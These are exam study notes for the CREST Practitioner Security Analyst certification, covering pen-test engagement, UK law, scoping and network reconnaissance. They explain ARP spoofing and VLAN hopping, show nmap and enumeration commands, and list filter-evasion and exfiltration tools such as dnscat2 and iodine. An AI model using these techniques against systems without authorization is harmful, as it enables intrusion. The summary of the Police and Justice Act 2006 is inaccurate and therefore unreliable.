# *CREST Practitioner Security Analyst*
# *EXAM NOTE*

**(If Have less Time Read IMP Note)**

Solanki Ravikumar

https://solankirv.github.io/ravisolanki/

# Index

# Appendix A: Soft Skills and Assessment Management

## A1 Engagement Lifecycle

Benefits and utility of penetration testing to the client. Structure of penetration testing, including the relevant processes and procedures. Concepts of infrastructure testing and application testing, including black box and white box formats. Project closure and debrief.

Penetration testing (pen testing) is a proactive security testing approach that simulates cyberattacks to identify vulnerabilities in a system or network before malicious actors can exploit them. The benefits and utility of penetration testing to the client are numerous, including:

**Scoping> Penetration Testing >Reporting> Debrief**

**Benefits and Utility:**

1. **Identifying Vulnerabilities:** Penetration testing helps uncover vulnerabilities in a system or network infrastructure that could be exploited by attackers. This proactive approach allows organizations to address and fix these weaknesses before they can be maliciously exploited.
2. **Risk Mitigation:** By identifying and addressing vulnerabilities, penetration testing helps reduce the risk of security breaches, data leaks, and other cyber threats. This, in turn, can prevent potential financial losses and damage to the organization's reputation.
3. **Compliance Requirements:** Many industries and regulatory frameworks require organizations to conduct regular security assessments. Penetration testing helps organizations meet these compliance requirements by ensuring their systems meet specific security standards.
4. **Improved Security Posture:** Continuous penetration testing allows organizations to maintain an ongoing awareness of their security posture. Regular testing helps them stay ahead of emerging threats and evolving attack techniques.
5. **Incident Response Planning:** Penetration testing can also be used to evaluate an organization's incident response capabilities. By simulating realistic attack scenarios, organizations can identify areas for improvement in their response procedures and mechanisms.

**Structure of Penetration Testing:**

The structure of penetration testing typically involves the following processes and procedures:

1. **Planning:**
   - Define the scope and objectives of the penetration test.
   - Identify the systems and networks to be tested.
   - Obtain necessary permissions and approvals.
2. **Reconnaissance:**
   - Gather information about the target systems and networks.
   - Identify potential entry points for attackers.
3. **Scanning:**
   - Use automated tools to discover live hosts, open ports, and services.
   - Identify vulnerabilities and weaknesses in the target environment.
4. **Gaining Access:**
   - Actively exploit vulnerabilities to gain access to systems.
   - Simulate real-world attack scenarios.

5. **Maintaining Access:**
    - Test the ability to maintain unauthorized access.
    - Mimic advanced persistent threats (APTs).
6. **Analysis:**
    - Evaluate the impact of successful exploits.
    - Provide recommendations for remediation.
7. **Reporting:**
    - Document findings, including vulnerabilities and their severity.
    - Provide a clear and actionable report to the client.

**Concepts of Infrastructure Testing and Application Testing:**

1. **Infrastructure Testing:**
    - *Black Box Testing:* Testers have no prior knowledge of the internal workings of the system. This simulates an external attacker's perspective.
    - *White Box Testing:* Testers have full knowledge of the internal workings of the system. This simulates an insider threat or a highly informed external attacker.
2. **Application Testing:**
    - *Black Box Testing:* Evaluates the security of an application without knowledge of its internal code or logic.
    - *White Box Testing:* Involves a deep understanding of the application's internal code, logic, and architecture.

**Project Closure and Debrief:**

1. **Project Closure:**
    - Summarize key findings and vulnerabilities.
    - Verify that identified vulnerabilities have been addressed.
    - Obtain final approval and sign-off from the client.
2. **Debrief:**
    - Hold a meeting with key stakeholders to discuss the results.
    - Review the overall effectiveness of security controls.
    - Discuss recommendations for improving security posture.
    - Provide guidance on implementing remediation measures.
    - Document lessons learned for future testing.

In conclusion, penetration testing is a crucial component of a comprehensive cybersecurity strategy, providing organizations with insights into their security vulnerabilities and helping them strengthen their defenses against potential cyber threats.

## A2 Law & Compliance

Knowledge of pertinent UK legal issues: • Computer Misuse Act 1990 • Human Rights Act 1998 • Data Protection Act 1998 • Police and Justice Act 2006 Impact of this legislation on penetration testing activities. Awareness of sector-specific regulatory issues.

Understanding UK legal issues is crucial for conducting penetration testing activities ethically and within the boundaries of the law. Here's an overview of some pertinent UK legislation and its impact on penetration testing:

**Pertinent UK Legal Issues:**

1. **Computer Misuse Act 1990:**
    - **Impact on Penetration Testing:** The Computer Misuse Act makes it illegal to gain unauthorized access to computer material. Penetration testers must obtain explicit permission before attempting to access any systems or networks. Unauthorized access, even with good intentions, could lead to legal consequences.
2. **Human Rights Act 1998:**
    - **Impact on Penetration Testing:** The Human Rights Act protects individuals' rights to privacy and freedom of expression. Penetration testers must ensure that their activities respect the privacy of individuals and comply with the principles of proportionality and necessity.
3. **Data Protection Act 1998:**
    - **Impact on Penetration Testing:** The Data Protection Act regulates the processing of personal data. Penetration testers must handle any personal data with care and ensure that their activities do not violate the principles of data protection, such as obtaining explicit consent for processing sensitive information.
4. **Police and Justice Act 2006:**
    - **Impact on Penetration Testing:** This Act includes provisions related to law enforcement access to electronic data. While penetration testers are not law enforcement, they should be aware of legal requirements regarding data handling and protection. The Act emphasizes the importance of respecting privacy rights in the context of electronic data.

**Impact of Legislation on Penetration Testing Activities:**

1. **Consent and Authorization:**
    - Penetration testers must obtain explicit consent from the system owners or responsible parties before conducting any testing. This aligns with the principles of the Computer Misuse Act and ensures that the testing is lawful.
2. **Data Handling and Privacy:**
    - Penetration testers need to be mindful of the Data Protection Act, ensuring that any personal data encountered during testing is handled in compliance with data protection principles. Minimizing the collection and use of personal data is essential.
3. **Transparency and Documentation:**
    - Transparent communication with clients, stakeholders, and affected parties is critical. Penetration testers should document their activities, findings, and the steps taken to mitigate risks. This documentation can serve as evidence of compliance with legal requirements.

**Awareness of Sector-Specific Regulatory Issues:**

Different industries may have specific regulations and compliance requirements that impact penetration testing activities. For example:

- **Financial Sector:** Financial organizations may have specific regulations regarding the testing of systems that handle sensitive financial data. Compliance with regulations such as the Financial Conduct Authority (FCA) requirements is essential.
- **Healthcare Sector:** Healthcare organizations must adhere to regulations like the General Data Protection Regulation (GDPR) and the Health and Social Care Act. Penetration testers should be aware of the specific challenges and considerations in healthcare settings.
- **Critical Infrastructure:** Organizations operating critical infrastructure, such as energy or transportation, may have sector-specific regulations and standards. Penetration testers should understand and comply with these regulations to ensure the security and resilience of critical systems.

In summary, compliance with UK legal frameworks, including the Computer Misuse Act, Human Rights Act, Data Protection Act, and Police and Justice Act, is essential for conducting penetration testing activities ethically and legally. Additionally, awareness of sector-specific regulatory issues ensures that penetration testers address industry-specific challenges and comply with relevant standards.

## A3 Scoping

Understanding client requirements. Scoping project to fulfil client requirements. Accurate timescale scoping. Resource planning.

**1. Understanding Client Requirements:**

**a. Client Consultation:**

- Engage in detailed discussions with the client to comprehend their business goals, concerns, and specific security needs.
- Identify the critical assets, sensitive data, and potential threats that the client is most concerned about.

**b. Define Objectives:**

- Clearly outline the objectives of the penetration testing engagement. Understand whether the client is focused on network security, web applications, or a combination of both.
- Determine the depth of testing required and whether the emphasis is on identifying vulnerabilities, testing incident response, or both.

**c. Regulatory Compliance:**

- Identify any regulatory frameworks or industry standards that the client must comply with. Understand how these requirements will impact the scope and focus of the penetration testing.

**d. Risk Assessment:**

- Conduct a risk assessment in collaboration with the client to prioritize testing efforts based on the criticality of assets and potential impact on the business.

**2. Scoping Project to Fulfill Client Requirements:**

**a. Scope Definition:**

- Clearly define the scope of the penetration testing, specifying the systems, networks, and applications that will be included.
- Document any exclusions or limitations, such as testing hours, restricted testing methods, or exempted systems.

**b. Authorization:**

- Obtain explicit authorization from the client to conduct penetration testing on their systems. This may involve legal agreements and formal documentation.

**c. Scope Review with Client:**

- Present the proposed scope to the client for validation and approval. Ensure that the scope aligns with their expectations and security goals.

**3. Accurate Timescale Scoping:**

**a. Project Timeline:**

- Develop a realistic project timeline considering the complexity of the environment, the depth of testing, and the availability of resources.
- Break down the timeline into key phases, such as planning, reconnaissance, testing, analysis, and reporting.

**b. Testing Phases:**

- Allocate time for each testing phase based on the scope and objectives. Consider factors like the size of the infrastructure, the number of applications, and the intricacy of the environment.

**c. Client Availability:**

- Coordinate with the client to schedule testing activities during periods of minimal impact on their operations. Ensure that key stakeholders are available for discussions and feedback.

**4. Resource Planning:**

**a. Skillset Identification:**

- Identify the specific skillsets required for the penetration testing engagement, considering expertise in network security, application security, and any industry-specific knowledge.

**b. Team Formation:**

- Assemble a qualified and experienced team of penetration testers. Ensure that team members hold relevant certifications and have a track record of successful testing.

**c. Tool and Technology Requirements:**

- Assess and procure the necessary tools and technologies required for testing. Ensure that these tools align with the client's environment and testing objectives.

**d. Logistics Planning:**

- Plan for any physical or logistical requirements, especially if on-site testing is involved. Ensure that all necessary arrangements are made well in advance.

**Considerations:**

- **Communication:**
  - Maintain clear and open communication with the client throughout the scoping process. Address any questions or concerns promptly.
- **Flexibility:**
  - Be prepared to adapt the scope, timeline, or resources as needed. Flexibility is essential to accommodate unexpected challenges or changes in client requirements.
- **Documentation:**
  - Document all aspects of the scoping process thoroughly. This documentation serves as a reference point throughout the project and can be crucial for accountability.

By effectively addressing each of these elements, you can establish a well-defined and realistic scope for the penetration testing project, ensuring that it aligns with client expectations and can be executed successfully within the specified timeframe and resource constraints.

## A4 Understanding Explaining and Managing Risk

Knowledge of additional risks that penetration testing can present. Levels of risk relating to penetration testing, the usual outcomes of such risks materialising and how to mitigate the risks. Effective planning for potential DoS conditions.

**Understanding, Explaining, and Managing Risks in Penetration Testing:**

**1. Additional Risks in Penetration Testing:**

**a. Data Breach:**

- The penetration testing process may involve accessing sensitive data. There is a risk of unintentional data exposure or a breach if security controls are not implemented properly.

**b. Service Disruption:**

- Testing activities can sometimes lead to service disruption, especially if vulnerabilities are exploited. This disruption may impact business operations or customer experience.

**c. False Positives/Negatives:**

- Incorrectly identifying vulnerabilities (false positives) or missing actual vulnerabilities (false negatives) can lead to misguided security decisions and resource misallocation.

**d. Legal and Regulatory Risks:**

- Violating laws or regulations during penetration testing can result in legal consequences. Ensuring compliance with relevant legislation is crucial.

**2. Levels of Risk and Usual Outcomes:**

**a. Low Risk:**

- Low-risk scenarios may involve minor disruptions or the identification of low-impact vulnerabilities that do not significantly affect operations.

**b. Moderate Risk:**

- Moderate-risk scenarios may result in temporary disruptions or the identification of vulnerabilities with a moderate impact on operations or data confidentiality.

**c. High Risk:**

- High-risk scenarios could lead to extended service disruptions or the discovery of critical vulnerabilities that pose a severe threat to the organization's security.

**d. Outcomes:**

- The outcomes of risks materializing could include financial losses, reputational damage, and compromised data integrity. Unaddressed vulnerabilities may be exploited by malicious actors.

**3. Mitigating Risks:**

**a. Comprehensive Planning:**

- Develop a thorough penetration testing plan that includes risk assessments, mitigation strategies, and clear communication with stakeholders.

**b. Legal and Ethical Compliance:**

- Ensure that penetration testing activities comply with legal and ethical standards. Obtain explicit consent and permissions from the client for testing.

**c. Data Protection Measures:**

- Implement measures to protect sensitive data during testing, such as encryption and anonymization. Limit the use of real user data whenever possible.

**d. Controlled Testing:**

- Conduct testing in a controlled environment to minimize the impact on production systems. Schedule testing during off-peak hours to reduce the risk of disruption.

**e. Communication:**

- Maintain transparent communication with stakeholders, including clients and relevant teams, to keep them informed of testing activities and potential risks.

**f. Regular Updates:**

- Keep testing tools and methodologies up to date to minimize the risk of exploiting vulnerabilities that have already been patched.

**4. Planning for DoS Conditions:**

**a. Traffic Analysis:**

- Analyze network traffic patterns to detect abnormal behavior that may indicate a DoS attack. Implement intrusion detection and prevention systems.

**b. Scalability Planning:**

- Design systems to scale and absorb sudden increases in traffic. Implement load balancing and redundant systems to distribute and manage loads effectively.

**c. Rate Limiting:**

- Implement rate limiting to control the number of requests from a single source, mitigating the impact of potential DoS attacks.

**d. DDoS Mitigation Services:**

- Consider using Distributed Denial of Service (DDoS) mitigation services to filter and divert malicious traffic away from the network.

**e. Incident Response Plan:**

- Develop a robust incident response plan that includes specific procedures for addressing and mitigating DoS conditions promptly.

**f. Regular Testing:**

- Regularly test the resilience of systems against DoS attacks to identify and address vulnerabilities proactively.

By understanding, explaining, and effectively managing risks in penetration testing, organizations can ensure that the testing process remains a valuable and secure means of identifying and mitigating vulnerabilities without introducing undue harm to the systems or data being tested.

## A5 Record Keeping, Interim Reporting & Final Results

Understanding reporting requirements. Understanding the importance of accurate and structured record keeping during the engagement

**Record Keeping in Penetration Testing:**

**1. Importance of Record Keeping:**

**a. Accountability:**

- Record keeping establishes a clear trail of activities and decisions, ensuring accountability for actions taken during the penetration testing engagement.

**b. Audit Trail:**

- Maintaining detailed records creates an audit trail that can be reviewed internally or externally to verify the legitimacy and compliance of testing activities.

**c. Legal Protection:**

- Comprehensive records can provide legal protection by documenting the explicit consent of the client, adherence to laws and regulations, and the ethical conduct of the penetration testing team.

**d. Continuous Improvement:**

- Records serve as valuable resources for post-engagement analysis, facilitating continuous improvement by identifying areas for refinement in processes, methodologies, and tools.

**e. Knowledge Transfer:**

- Records aid in knowledge transfer within the team and contribute to organizational learning. They provide insights for future engagements and assist in training new team members.

**2. Components of Record Keeping:**

**a. Authorization Documents:**

- Copies of signed authorization and consent documents from the client, granting permission for penetration testing activities.

**b. Scope and Rules of Engagement:**

- Detailed documentation specifying the scope of the testing, the systems in scope, testing methods, and any rules or limitations agreed upon with the client.

**c. Testing Plan:**

- The testing plan outlines the methodology, tools, and techniques to be used during the engagement, ensuring consistency and transparency in testing activities.

**d. Communication Records:**

- Logs of all communications with the client, including emails, meetings, and any clarifications or changes to the scope or schedule.

**e. Testing Results:**

- Comprehensive documentation of testing results, including identified vulnerabilities, their severity, and any potential impact on the client's systems.

**f. Remediation Recommendations:**

- Clearly outlined recommendations for remediation, including prioritization based on risk severity and potential impact.

**g. Incident Response Records:**

- Documentation of any incidents that occurred during testing, including the response actions taken and their outcomes.

**h. Final Report Drafts:**

- Interim and final report drafts, including feedback and comments from team members for quality assurance.

**Interim Reporting:**

**a. Progress Updates:**

- Regular updates to the client on the progress of the penetration testing engagement, including completed phases and upcoming activities.

**b. Initial Findings:**

- Provision of preliminary findings and observations to keep the client informed about potential high-risk vulnerabilities or critical issues.

**c. Collaboration on Remediation:**

- Collaboration with the client on initial steps for remediation, providing guidance and clarification on identified vulnerabilities.

**d. Addressing Client Concerns:**

- Interim reporting allows for addressing any concerns or questions the client may have, fostering a transparent and collaborative testing environment.

**Final Results Reporting:**

**a. Executive Summary:**

- A concise summary for executives, providing an overview of the engagement, key findings, and recommendations.

**b. Detailed Findings:**

- In-depth documentation of all identified vulnerabilities, including their severity, potential impact, and steps to reproduce.

**c. Remediation Roadmap:**

- A clear roadmap for remediation, prioritized based on risk, with guidance on implementing corrective measures.

**d. Technical Details:**

- Technical details of vulnerabilities, including evidence, screenshots, and any additional information required for a comprehensive understanding.

**e. Executive Briefing:**

- A presentation or briefing for executive leadership to communicate the results, impact, and urgency of remediation efforts.

**f. Post-Engagement Support:**

- Offering support and clarification to the client after the report is delivered, ensuring a smooth transition to the remediation phase.

**Conclusion:**

Effective record keeping and reporting are integral components of a successful penetration testing engagement. Detailed and structured records not only ensure compliance with legal and ethical standards but also contribute to the overall improvement of security practices within an organization. They serve as a foundation for transparent communication, accountability, and the delivery of valuable insights for ongoing cybersecurity efforts.

# Appendix B: Core Technical Skills

## B1 IP Protocols

IP protocols: IPv4 and IPv6, TCP, UDP and ICMP.
Awareness that other IP protocols exist.

IP (Internet Protocol) is a fundamental communication protocol that facilitates the transmission of data across networks. There are two main versions of IP: IPv4 (Internet Protocol version 4) and IPv6 (Internet Protocol version 6). Additionally, within the suite of Internet Protocols, there are transport layer protocols such as TCP (Transmission Control Protocol), UDP (User Datagram Protocol), and ICMP (Internet Control Message Protocol). It's important to note that other IP protocols exist within the suite, but IPv4, IPv6, TCP, UDP, and ICMP are among the most commonly encountered.

1. **IPv4 (Internet Protocol version 4):** This is the fourth version of the Internet Protocol and is the most widely used. IPv4 addresses are 32-bit numerical labels, and they are expressed in dotted-decimal notation (e.g., 192.168.0.1).
2. **IPv6 (Internet Protocol version 6):** IPv6 was developed as a successor to IPv4 due to the exhaustion of IPv4 addresses. IPv6 uses a 128-bit address format, providing a vastly larger address space. IPv6 addresses are expressed in hexadecimal notation (e.g., 2001:0db8:85a3:0000:0000:8a2e:0370:7334).
3. **TCP (Transmission Control Protocol):** TCP is a connection-oriented protocol that provides reliable, ordered, and error-checked delivery of data between applications on devices in a network. It establishes a connection before data is exchanged and ensures that the data is delivered accurately and in the correct order.
4. **UDP (User Datagram Protocol):** UDP is a connectionless protocol that provides a faster, but less reliable, way of delivering data. It doesn't establish a connection before sending data and does not guarantee the delivery or order of packets. UDP is commonly used in scenarios where low latency and real-time communication are more critical than reliability, such as in streaming or online gaming applications.
5. **ICMP (Internet Control Message Protocol):** ICMP is used for network-related communications, diagnostics, and error reporting. It is often used by network devices to send error messages indicating issues with network connectivity or to diagnose problems such as unreachable hosts. Ping is an example of a tool that uses ICMP to check if a host is reachable.

Other IP protocols include protocols like IGMP (Internet Group Management Protocol) for managing multicast group memberships, OSPF (Open Shortest Path First) for routing, and more. The Internet Protocol suite is extensive, covering a range of protocols that operate at different layers of the networking stack to enable communication and data transfer across networks.

## B2 Network Architectures

Varying networks types that could be encountered during a penetration test:

- CAT 5 / Fibre
- 10/100/1000baseT
- Token ring
- Wireless (802.11)

Security implications of shared media, switched media and VLANs.

**1. CAT 5 / Fiber:**

- **Security Implications:**
  - **Physical Security:** Both CAT 5 (copper) and fiber optic cables require attention to physical security. Unauthorized access to cables can lead to eavesdropping or tampering.
  - **Cable Interception:** Copper cables are susceptible to electromagnetic interference, which could potentially be exploited for cable interception. Fiber optics are less susceptible to such interference but may be vulnerable to tapping if not adequately protected.

**2. 10/100/1000baseT:**

- **Security Implications:**
  - **Speed and Bandwidth:** Higher-speed networks (1000baseT) may facilitate quicker data exfiltration in the event of a breach.
  - **Advanced Threats:** Faster networks may require more advanced security measures, including intrusion detection and prevention systems capable of handling the increased data flow.

**3. Token Ring:**

- **Security Implications:**
  - **Token Passing Security:** Security testing should include an understanding of the token passing mechanism. Unauthorized acquisition of the token could lead to unauthorized access.
  - **Configuration Vulnerabilities:** Misconfigurations in token ring networks can introduce security vulnerabilities that may be exploited.

**4. Wireless (802.11):**

- **Security Implications:**
  - **Encryption Strength:** The security of wireless networks relies heavily on the strength of encryption. Weak encryption can be exploited for unauthorized access.
  - **Access Point Security:** Unauthorized or poorly secured access points can lead to unauthorized access. Penetration tests should check for rogue access points.

**Security Implications of Network Media and Configurations:**

**1. Shared Media:**

- **Implications:**
  - **Eavesdropping:** Shared media environments, like traditional Ethernet, make it easier for attackers to eavesdrop on network traffic. Sniffing tools can capture packets not intended for a particular host.

- **ARP Spoofing:** Protocols like ARP can be exploited for attacks like ARP spoofing, allowing attackers to redirect traffic.

ARP spoofing, also known as ARP poisoning or ARP cache poisoning, is a technique used by attackers to manipulate the Address Resolution Protocol (ARP) in a network. The goal of ARP spoofing is to associate the attacker's MAC address with the IP address of a legitimate network entity (such as a router or another computer) in order to intercept or modify network traffic. Here's a breakdown of how ARP spoofing works and some preventive measures:

How ARP Spoofing Works:
Normal ARP Operation:

In a local network, devices use ARP to map IP addresses to MAC addresses. When a device needs to communicate with another device on the same network, it sends out an ARP request to discover the MAC address associated with a particular IP address.
ARP Spoofing Attack Steps:

Step 1: Discovery

The attacker monitors the network to identify IP-MAC address mappings.
Step 2: ARP Poisoning

The attacker sends forged ARP responses to devices on the network, associating the attacker's MAC address with the IP address of a legitimate entity (e.g., the router).
Step 3: Traffic Diversion

With the ARP cache poisoned, traffic meant for the legitimate entity is redirected through the attacker's machine.
Step 4: Eavesdropping or Modification

The attacker can intercept and inspect the traffic or modify it before forwarding it to the intended recipient.

**2. Switched Media:**

- **Implications:**
  - **MAC Address Spoofing:** Security testing should assess the effectiveness of switch configurations, including the potential for MAC address spoofing.
  - MAC address spoofing is a technique in which an attacker changes the Media Access Control (MAC) address of their network interface card (NIC) to mimic a different MAC address. This can be done for various malicious purposes, such as bypassing access controls, impersonating other devices, or conducting man-in-the-middle attacks. Here's an overview of MAC address spoofing and some preventive measures:
  - How MAC Address Spoofing Works:
  - MAC Address Basics:
  - A MAC address is a unique identifier assigned to a network interface for communication on the physical network.
  - Changing MAC Address:

- An attacker uses software tools or manually configures their device to use a different MAC address than the one assigned by the manufacturer.
- Impersonation:
- By spoofing a legitimate MAC address, the attacker can impersonate another device on the network.
- Bypassing MAC Filtering:
- Some networks use MAC address filtering as a security measure. Spoofing allows attackers to bypass this protection by appearing as an authorized device.
- Man-in-the-Middle Attacks:
- MAC address spoofing can be part of man-in-the-middle attacks where the attacker intercepts and potentially alters communication between two parties.

- **VLAN Hopping:** Vulnerabilities in switch configurations may allow attackers to hop between VLANs, potentially gaining unauthorized access.

**3. VLANs (Virtual Local Area Networks):**

- **Implications:**
  - **VLAN Hopping:** Weaknesses in VLAN implementations can lead to VLAN hopping, allowing unauthorized access to different segments of the network.
  - **Misconfigurations:** Security tests should check for misconfigurations that may compromise the effectiveness of VLAN segmentation.
  -

    VLAN hopping is a security exploit where an attacker gains unauthorized access to traffic on different Virtual Local Area Networks (VLANs) within a network. This type of attack takes advantage of the way VLANs are implemented on a network and can potentially lead to unauthorized access to sensitive information. Here's an overview of how VLAN hopping works and some preventive measures:

    How VLAN Hopping Works:
    Double Tagging (Double Encapsulation):

    VLAN hopping often involves sending frames with double VLAN tags. The attacker adds an extra VLAN tag to the Ethernet frame, making it appear as if the frame belongs to a different VLAN.
    Trunk Ports Exploitation:

    Trunk ports are used to carry traffic for multiple VLANs. In a misconfigured or insecure environment, an attacker may gain access to a trunk port and exploit it to send double-tagged frames.
    Native VLAN Exploitation:

    Some networks have a native VLAN for untagged traffic on a trunk. Attackers may send frames with double tags, exploiting the native VLAN to access frames of a different VLAN.

In a penetration test, understanding these security implications helps identify potential vulnerabilities and weaknesses in the network architecture. It's essential to conduct thorough testing across different layers and components of the network to ensure a comprehensive evaluation of security posture.

## B3: Missing from the official CREST CPSA syllabus document

## B4 Network Mapping & Target Identification

Analysis of output from tools used to map the route between the engagement point and a number of targets.
Network sweeping techniques to prioritise a target list and the potential for false negatives.

Network mapping and target identification are critical steps in a penetration test. They involve discovering and analyzing the network topology, identifying active hosts, and prioritizing potential targets for further assessment. Here's an overview of these processes and considerations for network sweeping techniques:

**Network Mapping and Target Identification:**

1. **Tools for Network Mapping:**
    - **Nmap:** Nmap (Network Mapper) is a powerful open-source tool for network discovery and security auditing. It can be used to identify hosts, services, and their characteristics on a network.
    - **Wireshark:** Wireshark is a network protocol analyzer that captures and inspects the data traveling back and forth on a network in real-time.
    - **Automated Scanners:** There are various automated vulnerability scanners that include network mapping as part of their functionality, such as Nessus, OpenVAS, and Nexpose.
2. **Analysis of Output:**
    - Output from tools like Nmap provides information about active hosts, open ports, and services running on those ports.
    - Understanding the network topology, identifying key assets, and determining potential points of entry are crucial.
    - Analyzing the output helps in creating a target list for further penetration testing.

**Network Sweeping Techniques:**

1. **Ping Sweeps:**
    - **Technique:** Using tools like Nmap to send ICMP Echo Requests to a range of IP addresses to identify live hosts.
    - **Consideration:** Firewalls or host-based intrusion prevention systems (HIPS) may block ICMP traffic, leading to potential false negatives.
2. **TCP/UDP Scans:**
    - **Technique:** Scanning for open TCP and UDP ports on live hosts to identify active services.
    - **Consideration:** Some hosts may be configured to respond to specific probes while ignoring others. Custom port configurations may result in false negatives.
3. **Service Identification:**
    - **Technique:** Identifying the specific services running on open ports to understand potential vulnerabilities.
    - **Consideration:** Some services may be configured to hide their identity, making accurate service identification challenging.

**Prioritizing Target List:**

1. **Critical Assets:**
    - Identify critical assets such as servers hosting sensitive data, domain controllers, or other key infrastructure components.

2. **Common Vulnerabilities:**
    - Prioritize targets based on known vulnerabilities associated with the identified services and software.
3. **Network Architecture:**
    - Consider the network architecture and potential pivot points for lateral movement. Targets with a higher potential impact should be prioritized.
4. **Business Impact:**
    - Assess the potential business impact of compromising specific targets to prioritize those that could have severe consequences.

## B5 Interpreting Tool Output

Interpreting output from port scanners, network sniffers and other network enumeration tools.

Interpreting output from network enumeration tools is a critical skill in penetration testing and network security assessments. Below are examples of tool output from common network enumeration tools and guidance on interpreting the results.

**1. Port Scanner Output (Using Nmap):**
**NMap : Scan Types**
-sP : ping scan
-sS : syn scan ("half open" scan)
-sT : connect scan (full TCP)
-sU : UDP scan
-sO : protocol scan

**Port Count**
65,536 (2^16) Ports
This applies to TCP AND UDP
NMap : Scan EVERY Port
TCP: nmap -p- <IP>
UDP: nmap -sU -p- <IP>

**NMap : Common Options**
-p1-65535 : Ports
-T[0-5] : "Scan Speed", can help hide you
-n : No DNS Resolution
-O : OS Detection
-A : AGGRESSIVE
-sV : Version Detection
-PN : No Ping
-6 : IPv6 Scan
-oA <file> : Output ALL types

**Command:**

```
nmap -p- 192.168.1.1
```

**Output:**

```
PORT STATE SERVICE
25/tcp open smtp
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open loc-srv
```

```
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1026/tcp open LSA-or-nterm
1029/tcp open ms-lsa
1033/tcp open netinfo
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3372/tcp open msdtc
3389/tcp open ms-term-serv
```

**2. Network Sniffer Output (Using Wireshark):**
**Intercepted Traffic:**

- A packet capture shows communication between 192.168.1.2 and 192.168.1.3.
- The captured data includes HTTP requests and responses.

**Interpretation:**

- Analyzing the HTTP traffic may reveal potential vulnerabilities or misconfigurations.
- Unencrypted data (e.g., plaintext passwords) transmitted over HTTP could be a security concern.

**3. DNS Enumeration Output (Using nslookup):**
**Command:**

```
nslookup example.com
```

**Output:**

```
Server: UnKnown Address: 192.168.1.1

Non-authoritative answer:
Name: example.com Addresses: 93.184.216.34
2606:2800:220:1:248:1893:25c8:1946
```

**Interpretation:**

- The DNS query for **example.com** returns two IP addresses (IPv4 and IPv6).
- These IP addresses may represent different servers or services associated with the domain.

**4. Service Version Detection (Using Nmap):**
**Command:**

```
nmap -sV 192.168.1.1
```

**Output:**

```
PORT STATE SERVICE VERSION
```

```
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
```

**Interpretation:**

- The **-sV** flag enables version detection for open ports.
- The SSH service is identified as OpenSSH version 7.2p2 on an Ubuntu system.
- The HTTP service is identified as Apache HTTP Server version 2.4.18 on Ubuntu.

**5. Enumeration of NetBIOS Information (Using nbtscan):**
**Command:**

```
nbtscan 192.168.1.0/24
```

**Output:**

```
192.168.1.1 WORKGROUP <Server Name>
192.168.1.2 WORKGROUP <Server Name>
```

**Interpretation:**

- **nbtscan** is used to enumerate NetBIOS information on hosts in the specified IP range.
- The output displays IP addresses, workgroup names, and server names.

**6. SMTP Enumeration (Using Telnet):**
**Command:**

```
telnet mail.example.com 25
EHLO example.com
```

**Output:**

```
250-mail.example.com
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-STARTTLS
250-AUTH LOGIN PLAIN
250-ENHANCEDSTATUSCODES
250-8BITMIME 250 DSN
```

**Interpretation:**

- Telnet is used to connect to the SMTP (mail) server on port 25.
- The **EHLO** command is used to identify supported features.
- The server supports features like STARTTLS, authentication (LOGIN, PLAIN), and others.

**Important Considerations:**

- **False Positives/Negatives:** Understand that tool outputs may have false positives or negatives. Verify findings manually when possible.
- **Documentation:** Document all findings comprehensively, including IP addresses, open ports, service versions, and potential vulnerabilities.
- **Reporting:** Use the information gathered to create a detailed and clear report, including the impact and remediation recommendations for identified vulnerabilities.

Remember that ethical and responsible use of network enumeration tools is crucial, and penetration testing should only be conducted on systems where you have explicit permission. Unauthorized testing is illegal and unethical. Always adhere to the rules of engagement and applicable laws and regulations.

## B6 Filtering Avoidance Techniques

### The importance of egress and ingress filtering, including the risks associated with outbound connections.

Egress and ingress filtering play crucial roles in network security, preventing unauthorized access and controlling the flow of traffic both into and out of a network. Let's explore the risks associated with outbound connections and some example tools that can be used for filtering avoidance techniques.

**Risks Associated with Outbound Connections:**

1. **Data Leakage:**
    - **Risk:** Sensitive information leaving the network without authorization.
    - **Example Tool:** Data exfiltration tools or techniques like file transfer over non-standard ports.
2. **Botnet Communication:**
    - **Risk:** Malware-infected systems establishing connections with command-and-control servers.
    - **Example Tool:** Malicious software utilizing covert communication channels or techniques like DNS tunneling.
3. **Communication with Malicious Entities:**
    - **Risk:** Outbound connections to malicious websites or servers.
    - **Example Tool:** Web-based attack tools that establish connections to attacker-controlled servers.

**Example Tools for Filtering Avoidance Techniques:**

1. **DNS Tunneling Tools:**
    - **Example:** Dns2tcp, Iodine, Dnscat2
    - **Functionality:** These tools encode data within DNS queries and responses, allowing for covert communication that might bypass traditional filtering.
2. **Proxy Tools:**
    - **Example:** Proxychains, TOR
    - **Functionality:** Proxies can be used to redirect outbound traffic through intermediary servers, potentially bypassing egress filtering.
3. **Covert Channels:**
    - **Example:** Hping, Netcat
    - **Functionality:** Covert channels involve sending information over protocols or channels not typically monitored, making it harder for traditional filters to detect.
4. **Encrypted Tunnels:**
    - **Example:** OpenVPN, SSH Tunneling
    - **Functionality:** Encrypted tunnels can be used to encapsulate traffic, making it more challenging for filters to inspect the content.
5. **Steganography Tools:**
    - **Example:** OpenStego, Steghide
    - **Functionality:** Steganography conceals data within other files or media, potentially allowing sensitive information to be embedded in outbound traffic.

**Importance of Egress and Ingress Filtering:**

1. **Egress Filtering:**

- **Prevents:** Unauthorized data leaving the network.
- **Example:** Blocking access to specific websites or preventing certain outbound protocols.

2. **Ingress Filtering:**
    - **Prevents:** Unauthorized access to internal network resources.
    - **Example:** Blocking inbound traffic from known malicious IP addresses or implementing intrusion prevention systems.

**Mitigation Strategies:**

1. **Deep Packet Inspection (DPI):**
    - DPI involves inspecting the content of packets, allowing for the detection of anomalies or malicious payloads.
2. **Behavioral Analysis:**
    - Analyzing the behavior of network traffic to identify patterns associated with malicious activity.
3. **Application-layer Filtering:**
    - Implementing filters that understand and control specific applications, preventing the use of unauthorized or risky protocols.
4. **Threat Intelligence Feeds:**
    - Utilizing threat intelligence feeds to block traffic to and from known malicious entities.
5. **Regular Rule Updates:**
    - Keeping filtering rules up-to-date to adapt to emerging threats and attack techniques.

